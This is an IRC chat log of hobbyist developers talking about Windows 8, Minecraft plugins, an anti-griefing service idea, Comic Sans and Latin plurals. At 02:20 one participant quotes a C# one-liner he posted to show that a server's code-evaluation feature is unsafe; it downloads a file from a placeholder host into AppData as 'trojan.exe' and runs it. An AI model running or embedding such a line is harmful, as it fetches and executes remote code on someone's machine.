Session Start: Sat May 25 00:00:00 2013 Session Ident: #glitchpc [00:00] * Now talking in #glitchpc
[00:00] * Topic is 'Welcome to #glitchpc chat. Profanity, trolls, and impersonation are not welcome here. Street1 has become a Silent Keyboard. http://www.legacy.com/obituaries/savannah/obituary.aspx?page=lifestory&pid=139870551'
[00:00] * Set by jacky on Tue Mar 02 11:03:23
[00:00]<+Tux2> I figured out windows 8 and all it's options in about 2 hours of fiddling with it.
[00:00]<+Tux2> And, within 30 minutes, it didn't even exist on my hard drive anymore...
[00:01]<@BC_Programming> I'm still discovering things with it when I use my laptop. I do like that Sleep actually works with it, which I couldn't say for win7
[00:01]<+Tux2> lol
[00:02]<+Tux2> I found the whole interface clunky and ungainly for use with my touchpad on my laptop
[00:02]<@BC_Programming> yeah I found myself poking my laptop screen once or twice before making sure nobody saw me do it
[00:03]<+Tux2> I could probably get used to it, although I'd much rather prefer that type of interface on a tablet than on my laptop.
[00:04]<@BC_Programming> or a touchscreen laptop
[00:04]<+Tux2> lol, yeah
[00:04]<@BC_Programming> you know a touchscreen and a touchpad, so you can use whichever you like
[00:04]<@BC_Programming> that way I wouldn't look silly poking my touch-screenless laptop
[00:05]<+Tux2> ha ha!
[00:06]<+Tux2> For me everything was BIG BIG BIG! Another make/break deal for me was no easy way to get to certain programs without searching for them
[00:06]<@BC_Programming> It has a desktop :/
[00:06]<+Tux2> a way to click on categories in a list, and be able to see the widgets/programs in the category would make it much easier to handle
[00:06]<+Tux2> BC_Programming: I'm talking about the start menu
[00:06]<+Tux2> Oh, wait, it's metro
[00:07]<@BC_Programming> 'Win8 UI' they couldn't call it metro because of some trademark thing
[00:07]<+Tux2> lol
[00:09]<+Tux2> Well, in my opinion the UI needed work and was not ready for prime time yet.
[00:09]<@BC_Programming> eh, works for me (tm)
[00:09]<+Tux2> lol, I know. :P
[00:10]<@BC_Programming> I do like how they made Aero less "flashy" though it would be nice to have it as an option too
[00:10]<+Tux2> Yeah, I also disliked how the window borders were so huge
[00:10]<+Tux2> I could understand if you were using a touch screen, but there wasn't an easy way to change them
[00:11]<@BC_Programming> heh I just checked and the borders are ~7 pixels
[00:12]<@BC_Programming> same as win7, maybe you are used to less in *nix
[00:12]<+Tux2> lol, I know it's the same in windows 7
[00:12]<@BC_Programming> Also you can change it... in fact I think I'll do that now... now I can't not notice it
[00:12]<+Tux2> It drove me nuts then too, but at least it wasn't so "let's make this border look like it came straight from windows 3.11"
[00:13]<+Tux2> lol BC_Programming
[00:14]<+Tux2> Yeah, borders are way smaller on the system I'm on.
[00:15]<+Tux2> (Unless you count the dropshadow)
[00:15]<@BC_Programming> :/ they removed the advanced appearance settings from win8 WHHHYYY
[00:15]<@BC_Programming> oh well at least I know the registry location
[00:15]<+Tux2> ROFL!
[00:15]<+Tux2> See? I said easily changeable
[00:16]<+Tux2> Those were just the things that bugged me... not saying it was bad on the OS
[00:17]<+Tux2> The removal of the advanced appearance screen was something that really frustrated me though
[00:17]<+Tux2> I was all "eeww... these borders look like thick win 3.11 borders, let's make them thinner..."
[00:18]<@BC_Programming> there we go
[00:18]<@BC_Programming> I think back in the day I de-embiggened the win31 borders too
[00:18]<+Tux2> lol, that was easy back then. ;)
[00:18]<+Tux2> I think I had it set at a measly 2 pixels
[00:20]<@BC_Programming> lol "Nonstop SPAM from this plugin... Making even my $2100 computer lag." I liked how they were not only using a dev build, but a two week old Dev build
[00:21]<+Tux2> ROFL!
[00:21]<+Tux2> I was at the Chiropractor at the time... otherwise I would have said "Are you using a dev build perchance?"
[00:22]<@BC_Programming> well they posted the output and from it I can tell it's #29
[00:22]<+Tux2> lol, I thought it was an old dev build
[00:22]<@BC_Programming> latest is #43
[00:22]<@BC_Programming> and that one was replaced within an hour when I removed the exact spam they were complaining about
[00:25]<+Tux2> lol, I know...
[00:25]<+Tux2> Also, thanks so much for all your hard work with the plugin BC_Programming, I really appreciate it
[00:26]<@BC_Programming> I'm surprised how well the world-specific configurations work too
[00:26]<@BC_Programming> doesn't even load them all at once- only as needed
[00:26]<@BC_Programming> so when I load my test world, after about a minute I see it report that it loaded the cfg for the nether since that's when it loads the spawn area
[00:26]<+Tux2> Also, remember, if it deals with griefing, it goes in the plugin, if it doesn't relate to griefing and could easily be handled in the API, we have GPFlags
[00:27]<+Tux2> BC_Programming: having a way to configure if claim blocks are per world would also be nice
[00:27]<+Tux2> as in having world groups for claim blocks
[00:27]<+Tux2> (advanced configuration)
[00:28]<@BC_Programming> yeah but that would kinda need changes to the database I think
[00:29]<@BC_Programming> eg having to store the number of claim blocks a person has in each world
[00:29]<+Tux2> Yeah, that would
[00:29]<@BC_Programming> the amount accrued is already per-world at least
[00:29]<+Tux2> I'm not too keen about changing mysql database schema
[00:29]<@BC_Programming> me either
[00:31]<@BC_Programming> 'The new "framework" is way better than I thought it would be! As flexible as hell.' TESTIMONIAL
[00:31]<+Tux2> :D
[00:32]<@BC_Programming> though I wouldn't think hell was very flexible, so I'm going to assume that was a superlative
[00:33]<+Tux2> lol
[00:34]<+Tux2> I'm working on a new Grief Prevention plugin that works alongside GP, worldguard, or whatever protection scheme you have.
[00:34]<@BC_Programming> oh what does it do
[00:35]<gat_man> you dudes are interplanetry travellers I am earth bound!
[00:35]<+Tux2> It's based on griefing team heuristics and what they usually [try] to do when taking over a server. Information about all players are tracked and analyzed for grief like behavior
[00:35]<gat_man> travlers
[00:36]<+Tux2> so even stolen accounts, trusted players will get caught
[00:36]<gat_man> nice tux!
[00:36]<@BC_Programming> Tux2:very nice
[00:37]<gat_man> sounds like a killer of the nasties app , in golden terms
[00:37]<+Tux2> lol, yup
[00:37]<+Tux2> It's going to have quite a few features, and one of them is no in game commands.
[00:38]<+Tux2> There will be no way to interact with the plugin in game to reverse it's effects.
[00:38]<+Tux2> That way trusted players with the '*' permission who are hacked can't just go in and make all the stuff they are doing okay
[00:39]<gat_man> real nice Tux , that is the stuff that is needed , sweet
[00:40]<+Tux2> The only way to reverse decisions done by the plugin is by going to our secure sign on page to log in and do it web side.
[00:40]<gat_man> to many "god heads' get away with all sorts!
[00:40]<+Tux2> lol, this is only for minecraft
[00:40]<gat_man> booooo!
[00:41]<@BC_Programming> Another interesting idea is to 'profile' players in some fashion, so the plugin has a good idea of their typical behaviours, and then be able to find when that player is acting "out of character" eg. chat messages, even vocab, etc.
[00:41]<+Tux2> BC_Programming: that's part of the plugin
[00:41]<gat_man> oh well I don't mine craft , but i suspect there will be a bunch of happy users that do!
[00:41]<+Tux2> lol, yeah, it will make traditional griefing teams non-effective
[00:42]<+Tux2> as there really won't be a way to get around the heuristics
[00:42]<gat_man> bc that is getting a little "big Brotherish " ain't it , like judge Dredd
[00:42]<@BC_Programming> and it wouldn't just apply for compromised whitelist accounts but also for if they get in through vulnerabilities or openings like what happened with EPC
[00:42]<+Tux2> exactly BC_Programming
[00:42]<+Tux2> This plugin was born because of that hack
[00:43]<@BC_Programming> ic
[00:43]<+Tux2> If this plugin was in place they would have Opped themselves, only to find themselves immediately banned.
[00:44]<@BC_Programming> eheh
[00:44]<+Tux2> Also, all banned players are tracked in our online database, as determined by the heuristics and verified by real people
[00:44]<+Tux2> if the account is a known hacking account, it won't be able to log into your server.
[00:45]<+Tux2> Of course you can make exceptions on your web control panel.
[00:45]<@BC_Programming> so it's sort of like mcBans, but not crap
[00:45]<+Tux2> Exactly, the server owners will be unable to make bans, and all bans will be verified by my team.
[00:46]<+Tux2> Here's another thing it's going to be able to do: upload backups of player's worlds to our online server, so in case of a catastrophic catastrophe where the server is completely destroyed, you can still recover it.
[00:47]<+Tux2> There will be no "delete backup" button on our web interface.
[00:47]<+Tux2> Why? malicious users could hack an account and delete backups...
[00:47]<@BC_Programming> losing a users trust is the quickest way to lose a user FOREVER
[00:48]<+Tux2> Exactly
[00:48]<@BC_Programming> see what did there
[00:48]<gat_man> mmmmm
[00:48]<+Tux2> We want to make sure that no matter what, the server owner can retrieve his files.
[00:48]<@BC_Programming> Pinkie Pie doling out consumer handling information
[00:49]<+Tux2> tee hee
[00:49]<+Tux2> All the features I just described will be free features included with the plugin
[00:49]<@BC_Programming> the paid version will provide users with a stylish hat
[00:49]<gat_man> he he he
[00:50]<+Tux2> Premium features will include more storage space, active response teams to deal with griefing teams and roll back the damage before you know what's even hit your server, etc.
[00:50]<+Tux2> including restoring player's inventories to before the griefing occurred
[00:51]<+Tux2> All of this will be in our ToS, as well as a privacy policy, etc.
[00:52]<+Tux2> I can see servers paying out the nose for protection
[00:53]<+Tux2> Also, since we will have a free version which works well, a lot of servers will start to use it and the rate of griefable servers will go way down.
[00:53]<@BC_Programming> "The above is not an endorsement of using Nasal mucus as a currency"
[00:53]<+Tux2> rofl!
[00:53]<+Tux2> As the rate of griefable servers go down, so will the ddos attacks and hacking attacks on our servers
[00:54]<+Tux2> which handle all the client's data
[00:54]<+Tux2> This will be negated by cloudflare
[00:54]<@BC_Programming> Paired with Nodus reaching EOL, it's could practically deliver a death blow to griefing
[00:54]<+Tux2> Exactly
[00:54]<+Tux2> It won't be worth the griefer's time and effort to find a server without the plugin
[00:55]<+Tux2> (It's completely invisible on the server, thanks to modifying the plugin list)
[00:55]<+Tux2> even a server query won't find the plugin
[00:56]<+Tux2> Which will make it a gamble if a server has the protection or not
[00:58]<+Tux2> The plugin's name will be "GriefPrevention Angels"
[00:58]<@BC_Programming> heheh
[00:58]<+Tux2> The motto: "it's like having angels guarding your server 24/7!"
[00:59]<+Tux2> I've already bought the domain name gpangels.com
[01:00]<@BC_Programming> heh you can imagine a griefing team joining, then a few minutes later an "angel" appears, there are thunderstrikes as the griefers are killed and banned, and then the angel leaves
[01:00]<+Tux2> lol, right?
[01:02]<+Tux2> This plugin is going to track a huge amount of data...
[01:02]<+Tux2> All uploaded to a web interface for easy perusal
[01:04]<+Tux2> The big thing is making sure it uses very little cpu
[01:07]<+Tux2> Well, I'm going to go to bed...
[01:08]<@BC_Programming> ok
[01:08]<@BC_Programming> good night :)
[01:59]<@Mulreay> Can't upload to YouTube.. I love YouTube
[01:59]<@BC_Programming> comments are disabled too
[02:00]<@Mulreay> If this is part of 'comedy week' then it's not really funny
[02:00]<@BC_Programming> heh
[02:10]<+Tux2> lol, what?
[02:10]<+Tux2> I can upload and comment
[02:11]<@Mulreay> Then you're just showing off
[02:12]<@BC_Programming> hmm so can I now that I test it
[02:12]<@BC_Programming> well upload at least
[02:12]<+Tux2> heh
[02:12]<@Mulreay> and my website has an internal server error.. AWESOME
[02:14]<+Tux2> ...
[02:19]<@BC_Programming> apparently somebody wrote a Minecraft server in C#
[02:19]<@BC_Programming> and they made it possible for players to "evaluate" C# code
[02:20]<@BC_Programming> and somebody said "isn't this a security issue?"
[02:20]<@BC_Programming> and they said "no you can't do anything dangerous in a single line"
[02:20]<@BC_Programming> I replied with { var targetfile = System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "trojan.exe"); (new System.Net.WebClient()).DownloadFile(@"http://example.com/file.exe", targetfile); System.Diagnostics.Process.Start(targetfile); }
[02:20]<@BC_Programming> "congratulations I've just owned your server"
[02:31]<+Tux2> lol!
[02:51]<@BC_Programming> hmm now I feel it's inevitable that I will redo SurvivalChest's configuration to use YAML... now that I know how to use it
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[03:18]<@Mulreay> Finally able to upload my new channel ad
[03:50]<@Mulreay> New advert INSTANT success.. it may go viral.. though the 4 views are probably in this virtual room
[03:50]<@BC_Programming> I saw it on MSNBC
[03:51]<@Mulreay> Yeah I got an email from them 'PLEEEEEASEEEEE let us show your new video? PLEEEAAASSSSSEEE!' well it went something like that
[03:52]<@Mulreay> anyway that something to check off.. that 'create an advert' on my channel was doing my head in
[04:18]<@BC_Programming> http://www.youtube.com/watch?v=LlFNCygTLxM
[04:18]<@BC_Programming> hour and a half of Dawkins woot
[04:21]<@Mulreay> Love that guy
[04:23]<@Mulreay> watching
[05:04]<@BC_Programming> did yo usee the one where he talks to Wendy Wright?
[05:05]<@BC_Programming> That was almost painful to watch
[05:09]<@Mulreay> no
[05:10]<@BC_Programming> consider yourself warned if you do... Dawkins is insanely patient with her ignorance
[05:12]<@Mulreay> watching
[05:12]<@Mulreay> Already I hate her
[05:13]<@BC_Programming> yes it doesn't take long at all
[05:13]<@BC_Programming> she's popular on the atheism reddit, people use her pic for stupid arguments
[05:14]<@Mulreay> I like how everything is "evidence"
[05:14]<@BC_Programming> unless it doesn't agree with her beliefs of course
[05:14]<@BC_Programming> then "that's not evidence"
[05:14]<@Mulreay> indeed
[05:15]<@BC_Programming> I think dawkins knew she was insane and thought it would be a good laugh
[05:15]<@Mulreay> 'your closed mindidness' are you F'ing kidding me
[05:15]<@BC_Programming> hey I did warn you man
[05:18]<@Mulreay> Where is the evidence? Where is the evidence for your God?
[05:19]<@BC_Programming> I like when she says fossils aren't evidence
[05:21]<@BC_Programming> My favourite discussion was the one he did in the god delusion with that Southern baptist pastor
[05:21]<@BC_Programming> that was talking about how evil homosexuals are and talking about how it is everybody's duty to spread the word of Jesus
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[05:22]<@BC_Programming> apparently, he actually had a secret boyfriend he was cheating on his wife with
[05:22]<@BC_Programming> I cannot help but find that HILARIOUS
[05:23]<@BC_Programming> For some reason he decided not to stone himself to death despite advocating that punishment before, odd
[05:24]<@Mulreay> I truly hate the stupidity of this woman
[05:24]<@BC_Programming> that's why I warned you... it's painful to watch
[05:25]<@Mulreay> Ahh the old because Dinosaurs are just pictures in books they don't exist
[05:26]<@BC_Programming> rationalwiki has a hilarious article
[05:26]<@BC_Programming> http://rationalwiki.org/wiki/Wendy_Wright
[05:27]<@BC_Programming> it sadly doesn't have a image of her face captioned "I smiled ignorantly like this for too long and now I'm stuck this way"
[05:28]<@BC_Programming> lol "To compare the interview to arguing with a brick wall would possibly be the understatement of the century."
[05:29]<@Mulreay> First wiki article I actually read and enjoyed to the end
[05:32]<@Mulreay> I'm soooo suprised he doesn't just slap her in the face and state 'is this the best you have got? I can't work with this shite'
[05:33]<@BC_Programming> You almost hope her to go "haha just kidding April fools"
[05:33]<@Mulreay> If only
[05:36]<@Mulreay> Can't watch anymore
[05:38]<@BC_Programming> yes I couldn't get through it myself either
[05:39]<@Mulreay> I do enjoy smashing myself in the face with a brick but I must decline this time
[05:39]<@BC_Programming> lol indeed... sometimes you just have to say pass to the face-brick mashing
[05:46]<@Mulreay> A Conga is a great way to liven up an otherwise mundane fire drill.
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[11:20]<jamer> So I found a laptop for salr
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[11:42]<+camerongray> nice!
[11:42]<+camerongray> what is it
[11:43]<@BC_Programming> who's salr
[11:50]<+camerongray> hrhehe. hey BC
[11:51]<@BC_Programming> hey cam, what you up to
[11:52]<+camerongray> eating lunch and for some reason using IRC on my phone
[11:53]<+camerongray> also currently melting, too hot here!
[11:54]<+camerongray> I mean it's probably low 20s but that's hot for us!
[11:55]<+camerongray> !w Edinburgh, UK
[11:55]<+camerongray> that's a lie! :P
[11:55]<@BC_Programming> ugh dev.bukkit.com keeps going down
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[11:56]<+camerongray> I wonder where that temp is taken from
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[11:57]<jamer> Camerongrey
[11:57]<jamer> http://limaohio.craigslist.org/sys/3799614622.html
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[11:57]<+camerongray> aww! my mcflurry has melted
[11:57]<+Tux2> Whoo! I've got voice!
[11:58]<+Tux2> CAN ANYONE HEAR ME?!?!
[11:58]<+camerongray> nice jammer!
[11:58]<+camerongray> lol!
[11:58]<+camerongray> calum has admin :P
[11:58]<jamer> I dont have a voice
[11:58]<+Craig> One hour till my raid is finished rebuilding for the 5th time...
[11:59]<+Tux2> Ugh Craig, that's annoying
[11:59]<+Craig> Cause your not a senior member :P
[11:59]<+Tux2> lol, wow, chanbot didn't flag me for yelling that time...
[12:00]<+camerongray> lol! I wonder why we even need protection here :P
[12:00]<jamer> Lol basically means im young yet craig lol
[12:00]<+Craig> Essentially. :p
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[12:01]<@BC_Programming> the n is for new
[12:01]<+Craig> As for your yelling there Tux, there weren't enough characters.
[12:01]<+Craig> Not sure what that means BC? :P
[12:01]<+Craig> He still doesn't have voice?
[12:01]<@BC_Programming> of course not
[12:01]<@BC_Programming> I used /me and am trying to confuse him
[12:01]<jamer> Lol
[12:01]<+Tux2> lol, ah... I thought it would be enough
[12:01]<+Craig> Oh hahahaha, got me :P
[12:02]<@BC_Programming> lol tricked the wrong person it would seem
[12:02]<+Craig> :P
[12:02]<+Tux2> lol, way too subtle in XChat as well
[12:02]<jamer> I can tell
[12:03]<jamer> Its green for modes and blue for /me
[12:03]<+Tux2> lol, we don't usually see modes being set in channels though
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[12:05]<+Tux2> I think ChanbotVII is more for the outsiders who wander in wanting to wreak havoc than the regular users. ;)
[12:05]<jamer> Lol
[12:05]<@BC_Programming> The BC gave and the BC has taken away; may the name of BC be praised.
[12:06]<+Craig> Huh? Why are we noticing the chat?
[12:06]<+Craig> ...
[12:06]<@BC_Programming> lol
[12:07]<+Craig> Ahhh
[12:07]<+Craig> So then why can he notice?
[12:08]<+Tux2> lol...
[12:08]<+camerongray> how about me?
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[12:08]<@BC_Programming> it doesn't have +m
[12:09]<@BC_Programming> should I add it? lol
[12:09]<+Tux2> lol...
[12:09]<+Craig> So then why can he notice?
[12:09]<+Craig> oops
[12:12]<@BC_Programming> BetterEnderChest is weird
[12:12]<@BC_Programming> you have to pass a Runnable to modify Inventories...
[12:12]<+Craig> ?
[12:12]<@BC_Programming> and that likely only makes any sense to Tux2
[12:13]<+Craig> :P
[12:14]<+Tux2> lol, wait, what BC_Programming?
[12:14]<+Craig> Jane is awesome
[12:14]<+Tux2> You have to schedule a task to modify inventories?
[12:16]<@BC_Programming> oh not Runnable but something with the same idea
[12:16]<@BC_Programming> betterEnderChest.getChestsCache().getInventory(inventoryName, group, new Consumer<Inventory>() {
[12:16]<@BC_Programming> @Override
[12:16]<@BC_Programming> public void consume(Inventory inventory) {
[12:16]<@BC_Programming> }
[12:16]<@BC_Programming> });
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[12:16]<@BC_Programming> that is from the example page
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[12:18]<+Tux2> lol, what? What does betterenderchest do?
[12:18]<@BC_Programming> uh stuff around enderchests
[12:18]<@BC_Programming> I think it let's them be bigger/smaller, specific to each world, public, etc
[12:19]<+Tux2> ah... and why are you concerned about it?
[12:19]<@BC_Programming> somebody wants EnderHoppers to support it
[12:19]<+Tux2> Oh, lol
[12:22]<@BC_Programming> hey wait a second it's hardly even a week old!
[12:22]<@BC_Programming> only two days older than EnderHoppers itself :/
[12:24]<@BC_Programming> hmm this will be tricky to implement without adding a hard-dependency to BEC
[12:27]<@BC_Programming> actually maybe I'll take a look see and see how the Consumer<> is actually used
[12:27]<@BC_Programming> maybe it's just a really silly way to implement an accessor method
[12:29]<@BC_Programming> ...
[12:29]<@BC_Programming> it doesn't actually do anything afterwards
[12:33]<@BC_Programming> I'd say that's silly but it works in my favour since I should be good to pass it outside the closed over anon class
[12:33]<@BC_Programming> also I'm saying this to confuse Craig because I'm mean
[12:33]<+Craig> Sorry what? I was not listening
[12:35]<@BC_Programming> I was just saying that I could pass the Inventory from Better Ender Chest outside the anonymous interface implementation of the Consumer<Inventory> and I should have any problems even though I leave the scope of the closed over method context
[12:35]<@BC_Programming> shouldn't*
[12:35]<+Craig> :P
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[13:11]<+camerongray> New server pulls 38w :D
[13:12]<@Calum> nice :)
[13:13]<+camerongray> Oh hey!
[13:13]<+camerongray> Peaked at 60w while bootinb
[13:13]<+camerongray> booting*
[13:14]<@Calum> that's pretty good
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[13:14]<+camerongray> Yeah, was worried since the drives are 7200rpm
[13:14]<@BC_Programming> just spent about 3 minutes trying to figure out why my plugin was completely broken
[13:14]<@BC_Programming> had it disabled...
[13:14]<+camerongray> hahaha
[13:15]<@Calum> yeah, they'll pull a bit on spinup, but they should settle down quickly, 38w idle is really good
[13:15]<+camerongray> ahh!
[13:16]<+camerongray> I suppose that makes sense, doesn't take much to keep them spinning
[13:16]<@BC_Programming> there, Better Ender Chest is now supported by BASeCamp (r) Ender Hoppers
[13:16]<@Calum> that's why servers with large arrays have staggered spinup, so they don't all spin up at once - otherwise the peak load would be way too high
[13:17]<@BC_Programming> and if Star Trek is any indication that would cause the screen to explode
[13:17]<@BC_Programming> everything explodes
[13:17]<@Calum> it's normally like 30W or so to spin up, then 5-10 watts when idle
[13:17]<+camerongray> Ahh, I always wondered what that was fro!
[13:17]<+camerongray> for*
[13:18]<@BC_Programming> did you see that thread where somebody was destroying a new PC as an "art project"?
[13:18]<jamer> Thats thr reason why I have issues dometimes ststting my desktop XD
[13:18]<@BC_Programming> eg trying to force it to overheat and catch fire
[13:18]<+camerongray> nope, what forum?
[13:18]<+camerongray> bahaha!
[13:18]<@BC_Programming> CH
[13:18]<+camerongray> nope!
[13:18]<@BC_Programming> they were asking for ways to force it to do that after 28 days or something
[13:18]<+camerongray> hahaha, link?
[13:19]<@BC_Programming> looking for it
[13:20]<jamer> Hm ... no email back on the laptop
[13:20]<@BC_Programming> oh here it is
[13:20]<@BC_Programming> http://www.computerhope.com/forum/index.php/topic,137568.0.html
[13:21]<@BC_Programming> in Programming for some reason, I was looking in hardware
[13:21]<@BC_Programming> Old Forum search to the rescue :P
[13:21]<+camerongray> bahaha?
[13:21]<@BC_Programming> I like my idea though
[13:21]<@BC_Programming> "Or, you could just have a large anvil or other comically large weight suspended dangerously above it, with a rope that under normal tension grinds against a sharp corner. With appropriate calculations you can get it to fall on the 27th day. If people use the machine, though, you should get them to sign a waiver."
[13:22]<@Calum> heh
[13:22]<@BC_Programming> 'comically large weight'
[13:22]<@Calum> would be hard to make the PC actually overheat and even be damaged, let alone set on fire...would need an older PC for sure, Athlon XP springs to mind with its lack of overheat protection. Therefore your idea would be best
[13:22]<@Calum> extra points for use of the word comically
[13:22]<+camerongray> Yeah
[13:22]<@Calum> which I misread as cosmically
[13:23]<+camerongray> Even then though, fire is unlikely
[13:23]<@BC_Programming> that's right, if it's not funny, then it's not big enough
[13:23]<@Calum> yeah, smoke is more likely than fire
[13:23]<+camerongray> Would more likely pop which from outside all you would here would be a clink and possibly a bit smoke!
[13:23]<@Calum> actually...you could just use an MSI motherboard...but then it might happen any time, possibly more fun though
[13:23]<+camerongray> I'll never understand "art"
[13:24]<@BC_Programming> is it just me or is art a fancy way of saying "really expensive and pointless" sometimes
[13:24]<@Calum> indeed
[13:24]<+camerongray> hahaha, yep!
[13:24]<+camerongray> Well, I understand drawings.etc
[13:24]<+camerongray> But some of it's daft"
[13:25]<@BC_Programming> get a cat and fingerpaints and they call you an abstract artist
[13:25]<+camerongray> hahaha
[13:25]<+camerongray> Or just a blank page!
[13:25]<@BC_Programming> yes then people call you Post-modern
[13:26]<@BC_Programming> "This picture speaks to me- it's simple, and really highlights how society demands material things, by showing us nothing"
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[13:27]<+camerongray> Yeah, you get a lot of that at uni
[13:27]<+camerongray> Oh yeah, I'll find the photo
[13:27]<@BC_Programming> could probably take a broken bedspring, hot glue it to the back of a stuffed platypus, and then hot glue that to a taxidermied bear and call it art
[13:27]<@BC_Programming> "bear with platypus crotch"
[13:27]<+camerongray> This was at uni: http://t.co/bhTNSCzw
[13:28]<@BC_Programming> "it's about expression, and abstract thought; see the platypus represents the little man, and the bear represents the establishment"
[13:28]<@BC_Programming> "and the spring represents the tension between the proletariat and their burgeouse masters"
[13:28]<@BC_Programming> see I can make up nonsense art critiques
[13:29]<@BC_Programming> somebody should have written [citation needed] underneath
[13:29]<@BC_Programming> or glued a sticker saying it
[13:29]<+camerongray> yeah!
[13:29]<@BC_Programming> This is Happening [Citation needed]
[13:29]<+camerongray> My friend did something like that - In one of the labs...
[13:30]<+camerongray> "App developers wanted... blah blah... email... something@hotmail.co.uk *tear off phone numbers*"
[13:30]<+camerongray> Friend writes "Yes, I wouldn't use Comic Sans"
[13:30]<@BC_Programming> heh hotmail
[13:31]<+camerongray> Actually, I think it was designers they wanted - WHich makes comic sans even worse
[13:31]<@BC_Programming> I just realized how odd my little test world is
[13:31]<@BC_Programming> I've got a bunch of hoppers and ender chests on top of this giant cylinder of snow blocks
[13:32]<+camerongray> Then there's this comic sans monstrosity! http://t.co/t25vCviBpl
[13:32]<@Calum> Comic Sans makes its way into so many places
[13:32]<+camerongray> lol
[13:32]<@Calum> I don't understand it
[13:32]<@BC_Programming> I had an argument about Comic sans on the Minecraft forum
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[13:32]<@BC_Programming> of course I completely demolished the idea that "people can use it if they want"
[13:33]<+camerongray> Actually, looking at that sign "Dial the emergency number 2222 or mobile phone 999" - Surely, "Just call 999" would make sense!
[13:33]<@Calum> heh
[13:33]<+camerongray> Oh wow! "mobile phone 999 THEN leave the building" - I thought the first thing if there was a fire is "GET OUT"
[13:33]<@BC_Programming> oh in fact it was a topic I started
[13:33]<+camerongray> Not "try to work your phone or find a landline to use"
[13:33]<@BC_Programming> I found it in a Java book
[13:33]<@BC_Programming> http://www.minecraftforum.net/topic/1286306-comic-sans-strikes-again/
[13:34]<@BC_Programming> "It sort of ironic in it's way; he created a font because Times Roman was being misused, and now that font is perhaps the most misused font in the world, being used on probably a good percentage of formal documents. I always imagine stuff written in Comic sans as ending every sentence with a little clown honk sound."
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[13:35]<@BC_Programming> "I think the best summary is that if you love comic sans, you don't know very much about typography. And if you hate comic sans, you don't know much about typography, either."
[13:36]<@BC_Programming> I don't hate the font, I hate stupid people that use it for no good reason
[13:36]<@BC_Programming> and since there is no good reason... well
[13:38]<@BC_Programming> I also like how people started talking about a fictitious "Ariel"
[13:38]<@Calum> heh
[13:38]<@BC_Programming> it's Arial you doofuses
[13:38]<@Calum> isn't that doofi?
[13:38]<@Calum> or doofii maybe
[13:38]<@BC_Programming> no
[13:38]<@BC_Programming> doofus isn't derived from latin
[13:39]<@Calum> is "exodus"?
[13:39]<@BC_Programming> so so it's not a latin word in the nominative singular
[13:39]<@Calum> because that would settle a longstanding debate
[13:39]<@BC_Programming> latin or plural?
[13:39]<@Calum> latin
[13:40]<@BC_Programming> yes exodus is latin I think it means expedition or something
[13:40]<@Calum> Well, that clears something up then, heh
[13:40]<@BC_Programming> I like my quote from my site "there is a set of people that thing the plural of computer mouse is mouses. These people belong to a group of people collectively referred to as morons"
[13:40]<@Calum> heh
[13:41]<@BC_Programming> ooh wait
[13:41]<@BC_Programming> the latin word exodus is itself from the greek exodos
[13:43]<@Calum> so does that make it exoduses or exodii?
[13:43]<@BC_Programming> exoduses
[13:44]<@Calum> so, I was wrong all along
[13:44]<@BC_Programming> yeah only certain words that come directly from latin are pluralized with the i thing
[13:44]<@Calum> Every day's a school day
[13:45]<@Calum> I thought it was just all, but I stand corrected
[13:47]<@BC_Programming> others: campus=campuses
[13:47]<@BC_Programming> which is interesting because it is from latin but doesn't get an i ending
[13:48]<@BC_Programming> and then there is cactus which <isn't> from latin and the plural is cacti
[13:49]<@BC_Programming> the most common offender is virus, which is pluralized as virii/viri incorrectly
[13:50]<@BC_Programming> personally I don't think it matters how they are pluralized as long as it doesn't sound dumb and as long as some grammar nazi doesn't pretend they know what the 'real' plural is
[13:50]<@Calum> heh yeah
[13:55]<@Calum> On an unrelated note, before I head off to bed...found a useful tool today on thinkbroadband.com - basically it's a broadband ping and packet loss monitor, so you can see if there are certain times when your connection goes south
[13:55]<+camerongray> ahh, nice!
[13:56]<@Calum> thought someone might find it useful, link - http://www.thinkbroadband.com/ping/monitors.html - need to sign up for a free account
[13:56]<@Calum> my current stats - http://www.thinkbroadband.com/ping/share/d3d69ea15f6c8c634705ef8ec2156b2c.html
[13:57]<@Calum> it's pretty simple, it just pings your IP every second and records the stats, so obviously if you turn off your modem/router or your IP changes it won't track it, but still pretty useful
[13:57]<@BC_Programming> neat
[13:57]<@Calum> records min, average and max latency, and packet loss
[13:57]<+camerongray> ahh, sweet!
[13:57]<@Calum> you cans ee on mine there's a spike in latency, that's when I was downloading a bunch of stuff from Technet
[14:01]<@Calum> anyway...bedtime for me, I have no idea why I'm so tired today heh. Catch you all later
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[14:27]<@BC_Programming> "Yes, please inbox me on bukkit if you know what the problem is."
[14:27]<@BC_Programming> How about I reply to your ticket instead dumbass
[14:40]<+camerongray> GAH, can't try to help anyone with lostcoast around!
[14:41]<@BC_Programming> what else is new
[14:41]<+camerongray> lol
[14:41]<+camerongray> Person can't get a display
[14:41]<+camerongray> He's dismissing that they should remove the graphics card and try onboard
[14:42]<@BC_Programming> clearly he should remove those nvidia drivers and install the proper geforce drivers instead
[14:42]<+camerongray> BHAHA!
[14:44]<+camerongray> And now, "Call support"
[14:45]<+camerongray> The first thing I'd do if I wasn't getting display on my card would be to try onboard
[14:45]<+camerongray> And if onboard didn't work I'd try a card!
[14:45]<@BC_Programming> hey now
[14:45]<@BC_Programming> lostCoast is the expert clearly
[14:46]<+camerongray> Are you seeing this?
[14:47]<@BC_Programming> no
[14:48]<+camerongray> I'll pastebin it, it's that excited puppy thing again
[14:48]<@BC_Programming> kk
[14:48]<+camerongray> http://pastebin.com/exPKYQBW - I like "HandyAndy" now :P
[14:52]<+camerongray> At least he remembered last time and didn't go "Oh, stay away from that, Novatech is an off-brand"
[14:53]<+camerongray> Small custom computer manufacturer != bad!
[14:55]<@BC_Programming> "you're back peddling"
[14:55]<@BC_Programming> does he do english? that makes no sense
[14:56]<+camerongray> lol
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[14:59]<@BC_Programming> did you see the 'discussion' with gat_man yesterday?
[14:59]<@BC_Programming> he's HILARIOUS
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[15:15]<+camerongray> Charming...
[15:16]<+camerongray> CH gets spammed agian by bots, I ask what was causing it... you know, out of interest...
[15:16]<+camerongray> [22:13:17] <db100547> camerongray: suggest you kill it till later , let the current situarion get sorted .
[15:16]<+camerongray> [22:13:27] <camerongray> kill my client?
[15:16]<+camerongray> [22:13:35] <camerongray> It has stopped now
[15:16]<+camerongray> [22:13:44] <db100547> no . the questions
[15:16]<+camerongray> [22:13:53] <lostcoast> he means constant talking
[15:16]<+camerongray> [22:13:57] <camerongray> Ahh, kk
